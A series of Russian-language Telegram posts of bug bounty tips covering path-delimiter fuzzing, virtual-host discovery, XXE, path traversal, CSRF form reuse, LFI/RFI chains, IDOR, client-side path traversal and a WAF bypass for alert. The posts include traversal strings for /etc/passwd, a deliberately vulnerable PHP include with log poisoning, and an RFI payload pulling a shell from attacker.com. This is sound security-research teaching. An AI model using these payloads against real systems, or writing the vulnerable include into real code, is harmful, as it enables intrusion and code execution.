Standoff Bug Bounty Tips – Telegram
🔍 Поиск проблем с разделителями пути с помощью Burp Intruder

Иногда веб-серверы по-разному обрабатывают спецсимволы (;, ? и другие) в URL-адресах. Это может привести к web cache deception или проблемам с контролем доступа.

👉 Вот как легко протестировать расхождения в разделителях пути:

1️⃣ Захватите запрос и отправьте в Intruder. Тип атаки Sniper (изменяется только одно место):

GET /my-account§§abc HTTP/2


Пример пэйлоада (полный список найдете здесь):

!
#
$
'
*
+
,
.
/
:
;
_
~
...


2️⃣ Запустите атаку и проанализируйте статусы, длину и ответы.

Ищите страницы большего/меньшего размера, изменения в коде состояния или различное поведение. Если заметили что-то необычное, скорее всего, вы нашли расхождение в разделителях 🤑

👉 Почему это важно?

Когда спецсимволы сбивают с толку сервер или кеш, вы можете обнаружить:

🔸 Web cache deception: случайное кеширование личных страниц
🔸 Обход доступа: пропуск проверок безопасности
🔸 Утечка информации: доступ к данным, которые вы не должны видеть

🔗 Попробуйте на практике в лабе PortSwigger

Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13🤔4
Виртуальные хосты — это…

Механизм, который позволяет обращаться к нескольким доменам на одном веб-сервере. Администраторы в настройках веб-сервера прописывают домен, а браузер пользователя при обращении к IP указывает в заголовке Host запрашиваемый домен. Веб-сервер использует нужный шаблон и отдает запрашиваемый контент.

Конфигурирование веб-сервера может быть достаточно сложным, и могут возникать ошибки, например, доступные любому пользователю админ-панели или внутренние сервисы, которые не подразумевались быть доступными извне VPN.

Как найти внутренние сервисы и выявить мисконфигурации?

Используя сервис crt.sh, можно получить выписанные для домена сертификаты и скопировать все полученные домены. Сертификаты могут быть выписаны и на недоступные в данный момент из интернета приложения.

Это можно сделать, к примеру, так: https://crt.sh/?q=vk.team

Затем можно использовать curl и обратиться к IP-адресам, принадлежащим компании, с полученными доменными именами. Может произойти так, что балансировщик направит запрос во внутренний сервис, хотя он должен быть недоступен снаружи.

Например:

curl --resolve noscript.bugbounty.vk.company.ru:443:10.12.72.18 https://noscript.bugbounty.vk.company.ru/


Так можно обратиться к IP-адресу, используя произвольный заголовок Host. Как видно на скриншоте, по стандартным хостам нет доступа, но, применив правильный заголовок, мы получили ответ. Подставляя localhost или полученные из сертификатов домены, иногда можно получить доступ к админкам и другим внутренним системам.

Публикация подготовлена совместно с командой VK Bug Bounty.
10🔥5
💨 XML external entity в дикой природе

В первую очередь обращайте внимание на фичи приложения, которые потенциально могут работать с XML:

🔹 Веб-сервисы на основе XML (SOAP, REST и RPC API, которые принимают и обрабатывают данные в формате XML).

🔹 Любая фича импорта / экспорта, которая доставляет или принимает данные в формате XML.

🔹 Обработчики RSS и Atom лент.

🔹 Просмотрщики и конвертеры документов, работающие с файлами форматов DOCX, XLSX и другими XML-документами.

🔹 Загрузка и обработка файлов в XML (например, SVG-изображения).

💡 Главное правило

Ищите компоненты, принимающие и обрабатывающие произвольные XML-данные. Иногда REST API случайно настроены на приём разных форматов данных, включая XML.

Всегда проверяйте, какие форматы принимает приложение — это поможет найти потенциальные векторы атаки.

Как автоматизировать поиск

Добавьте в Proxy Interceptor правило замены типа содержимого: с application/json на text/xml. Далее отслеживайте ошибки парсинга XML.

Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥73
🚀 Эксплуатация path traversal второго порядка

Path traversal первого порядка — это когда вы напрямую передаёте путь вида ../../etc/passwd, и сервер сразу интерпретирует его.

Второй порядок — это когда:

1️⃣ Вы передаёте путь, который сначала сохраняется как строка или используется как параметр.

2️⃣ Он ещё не интерпретируется полностью.

3️⃣ Затем этот путь используется в другом сервисе/компоненте, где он декодируется заново или интерпретируется иначе.

Уровень сложности: 🪲🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍113🔥3
🎯 Создание кастомных словарей для багбаунти

Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.

Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.

Что включить в кастомный словарь

1️⃣ Список слов для конкретной компании:

🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:

$ cewl https://example.com --header "Cookie: PHPSESSID=7a9b.." -d 5 -m 4


🔹 Токенизация URL-адресов с помощью tok:

$ cat urls.txt | tok


🔹 Парсинг ключевых слов из JS-файлов:

$ cat js-urls.txt | python3 getjswords.py


2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.

3️⃣ Включение часто встречающихся ключевых слов — api, admin, assets, profile, debug, id, и т. д. Отличная база у JHaddix.

4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.

💡 Применение:

• Брутфорс виртуальных хостов и параметров
• Обнаружение контента

P.S. При подготовке поста вдохновлялись статьей от Intigriti.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥105
✉️ Эксплуатация уязвимостей в системах электронной почты

Безопасность электронной почты — это больше, чем спам и фишинговые атаки. В любом веб-приложении — это:

▪️Конфиденциальная информация
▪️Ссылки для сброса пароля
▪️Сложная логика
▪️Интеграция в другие системы
▪️Широкая распространенность

Выше привели несколько примеров пэйлоада для выявления багов, связанных с обработкой email-адресов в веб-приложениях.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥85🤔1
🫣 Повторное использование CSRF-формы

Если XSS недоступна, но на странице уже есть форма с валидным CSRF-токеном, можно использовать HTML-инъекцию с помощью атрибута form=.

Все просто: привязываем внешние <input> и <button> к существующей форме по id — они попадут в POST-запрос при сабмите. Более того, кнопка может иметь свой formaction=, который перезапишет action формы, сохранив при этом CSRF-токен.

💡 Некоторые полезные атрибуты для более гибкого управления формами:

▪️formnovalidate= — позволяет игнорировать правила валидации формы. Полезно, если исходная форма заполнена не полностью, но нужно отправить запрос.

▪️formmethod= — меняет метод отправки формы, например, с GET на POST.

▪️formenctype= — задаёт тип кодирования данных, например multipart/form-data или text/plain. К сожалению, с его помощью всё ещё сложно отправлять валидный JSON в теле запроса.

▪️formtarget= — позволяет перенаправить ответ формы не в основное окно браузера, а в iframe с указанным id=, чтобы скрыть результат отправки от жертвы.

🏃 Больше интересных кейсов по HTML-инъекциям читайте здесь
Please open Telegram to view this post
VIEW IN TELEGRAM
👍92🔥2
🔓 От чтения к выполнению: когда доступ к файлу становится критическим

Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:

▪️Path Traversal позволяет читать файлы вне рабочей директории, например ../../../../etc/passwd.

▪️Arbitrary File Read идёт дальше: можно читать любой файл, независимо от пути. Всё, что приложение даст открыть — ваше.

💨 Когда чтение превращается в выполнение → Local File Inclusion

Если приложение не только читает, но и включает файл (например, через include($_GET['page']) в PHP), открывается дверь в LFI.

Классика:

<?php
include($_GET['page']); // уязвимо
?>


Передаём:

?page=../../../../var/log/apache2/access.log


А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.

💨 Remote File Inclusion

RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:

?page=http://attacker.com/shell.txt


Сейчас allow_url_include часто выключен, но уязвимости живут в JS/Python, где делают eval(fetch(url)) или что-то похуже.

💡 Цепочки атак: когда пазл складывается

▪️Path Traversal → читаем конфиги → находим внутренние эндпоинты/креды → SSRF/обход аутентификации
▪️File write → включение пэйлоада через LFI → RCE
▪️Инжект в лог → включение логов через LFI → RCE
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11
🔗 UUID-based IDOR: 4 техники, которые могут выстрелить

Многие багхантеры полагаются только на перебор или простые кейсы при поиске IDOR, при этом упускают некоторые нестандартные способы 👇

1️⃣ Утечка UUID на уровне приложения

Есть ли в приложении функционал, где UUID может «засветиться» публично (например, таймлайн, история изменений, активности и т. д.) ?

Можно ли дать кому-то доступ к объекту с этим UUID, а потом забрать? Часто UUID всё ещё остаётся в логах, уведомлениях и т. п.

2️⃣ Получение UUID легитимным способом

Обычно это лучший способ добыть нужный UUID. Пользователи ведь не вводят UUID вручную — они вводят email, имя и т. д.

Если в приложении есть формы, которые принимают публичную инфу (email и т. д.) и возвращают UUID, то это золото.

3️⃣ Наследие старых ID

До UUID часто использовались числовые ID. Иногда в JSON-ответах всё ещё можно увидеть старые поля (id: 123, uuid: ...).

Бывает, что можно подставить старый числовой ID вместо UUID — и это срабатывает.

4️⃣ Утечка через пути

Можно ли каким-то способом вытащить внутренние пути приложения? Иногда помогает слабая политика referrer, открытые metadata-эндпоинты, где можно увидеть роуты и UUID внутри путей.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍53
⚒️ Автоматизация поиска Client-Side Path Traversals

CSPT — техника, известная с 2007 года, но не все багхантеры с ней знакомы. Давайте это исправим!

Представьте страницу профиля, которая всегда возвращает один и тот же HTML, но в URL есть параметр id. Скрипт на клиенте делает запрос к API по этому id, например:

example.com/profile?id=10 → браузер делает запрос к example.com/api/users/10 и подставляет данные.


Часто багхантеры пытаются найти IDOR, меняя id, но мало кто смотрит, что браузер делает отдельный запрос к API. А если подставить путь с traversal-паттернами, например id=../../hello?

Если браузер запросит example.com/hello — значит есть возможность управлять путями в запросах с клиента!

🤔 Почему это важно?

Потому что теперь вы можете заставить браузер жертвы делать запросы по произвольным путям, что открывает путь для цепочек уязвимостей — например, XSS через поддельный ответ API.

➡️Анализ ответа

Если мы перехватим запрос и проверим ответ, то можем увидеть что-то вроде:

{
"id": 10,
"name": "John Doe",
"pic": "images.example.com/pic-12345.jpg"
}


Что бы мы могли сделать, если бы могли контролировать ответ на этот запрос? По сути, мы могли бы создать ссылку, которая при нажатии жертвы отправляла бы запрос в API, который затем возвращал бы контент, который мы контролируем.

Ценность контроля над этим контентом зависит от того, что с ним делает приложение. В нашем примере pic используется как src тега <img>, а значит, появляется возможность эксплуатации XSS.

➡️Open redirects

Если на сервере есть open redirect, можно заставить браузер сходить на внешний контролируемый ресурс и вернуть вредоносный контент.

Пример:

/profile?id=../../redirect%3Furl%3Dxss.example.com


— теперь ответ API контролируем мы, и можно пытаться эксплуатировать ту же самую XSS.

💡 Автоматизация

Chrome-расширение Gecko перехватывает все запросы, анализирует URL вкладки и проверяет, отражается ли часть текущего URL в запросах — признак CSPT:

▪️Сервис-воркер слушает запросы (chrome.webRequest.onBeforeRequest)
▪️Проверяет совпадения путей и параметров
▪️Хранит данные в локальном хранилище
▪️Показывает результаты в DevTools-панели и через всплывающее окно
▪️Поддерживает частичное совпадение, чтобы ловить случаи с расширениями файлов и вариациями путей
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥9🔥32🦄1
🎆 Тригерим alert без использования круглых скобок

WAF фильтрует скобки? Вот как это обойти 👆

onerror=alert назначает alert глобальным обработчиком ошибок, а затем throw 1 выбрасывает ошибку. Эта ошибка перехватывается обработчиком onerror… которым и является alert!

Таким образом, alert(1) срабатывает без использования скобок 😎
Please open Telegram to view this post
VIEW IN TELEGRAM
16🔥8
⤴️ Моделируйте, прежде чем хантить

1️⃣ Начните с вопроса: какие данные для компании самые важные? Именно они и будут направлять ваше тестирование и моделирование угроз.

2️⃣ Разделите приложение на фронт, middleware и бэк. Определите JS-фреймворки (например, Next.js), где хранится логика и то, как технически реализована аутентификация. Соберите максимум информации о стеке.

3️⃣ Не тестируйте эндпоинты вслепую. Наблюдайте за процессом входа, переадресациями, поведением cookie, жизненным циклом токенов и процессом создания сессий. Моделирование того, как каждое действие проходит через стек, дает идеи для эксплуатации уязвимостей.

4️⃣ Обратите внимание на такие вещи, как кэширование контента, маршрутизация виртуальных хостов, API gateways и балансировщики нагрузки. Эти слои часто неправильно настроены, особенно при передаче запросов между внутренними сервисами.

5️⃣ Отдельные функции редко бывают опасны сами по себе. Посмотрите, как могут взаимодействовать два обычных флоу, например гость-оплата + создание аккаунта. Именно здесь скрываются логические ошибки. Сочетайте это с особенностями используемого технологического стека, чтобы предсказать баги.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍73
💫 Автоматизация Burp Suite: как сэкономить время и работать эффективнее

Автоматизация должна охватывать ядро приложения и собирать максимум данных. Основной метод — упор на пассивном скане, чтобы не создавать много шума. Собранная информация помогает лучше понять приложение и улучшить активную автоматизацию.

🚀 Воркфлоу: пассивное и активное сканирование

Пассивные сканеры анализируют результаты активных: если активный вызвал ошибку, пассивный её найдёт и покажет в дашборде.

Ответы от прокси идут и активным, и пассивным сканерам. Ответы с репитера и расширений — только пассивным. Это обеспечивает плавный и синхронизированный процесс.

👉 Активный скан: не взломать все, а максимально покрыть функционал

▪️BCheck — относительно свежая фича для написания скриптов прямо в Burp. Используется как для сложных кейсов, так и для фаззинга файлов/директорий, спрея пэйлоада. Рекомендуется добавлять кастомный заголовок для отслеживания запросов в Logger++.

▪️Burp Bounty — расширение для сложных сканов с гибкой настройкой пэйлоада и правил детекции.

👉 Пассивный скан — второй уровень обнаружения для глубокого анализа ответов и поиска пропущенного активным сканером

▪️Пассивный краулер — строит карту сайта и помогает понять структуру приложения.

▪️Error Message Checks и Response Grepper — ищут ошибки и паттерны, помогают подстроить активные сканы.

▪️BCheck (пассивный режим) — определяет технологии приложения, фильтрует данные и уменьшает нагрузку, исключая неактуальные пэйлоады.

💡 Logger++ — логирует все запросы и ответы, предлагает фильтры и подсветку, упрощая анализ и отладку автоматизации.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥101👍1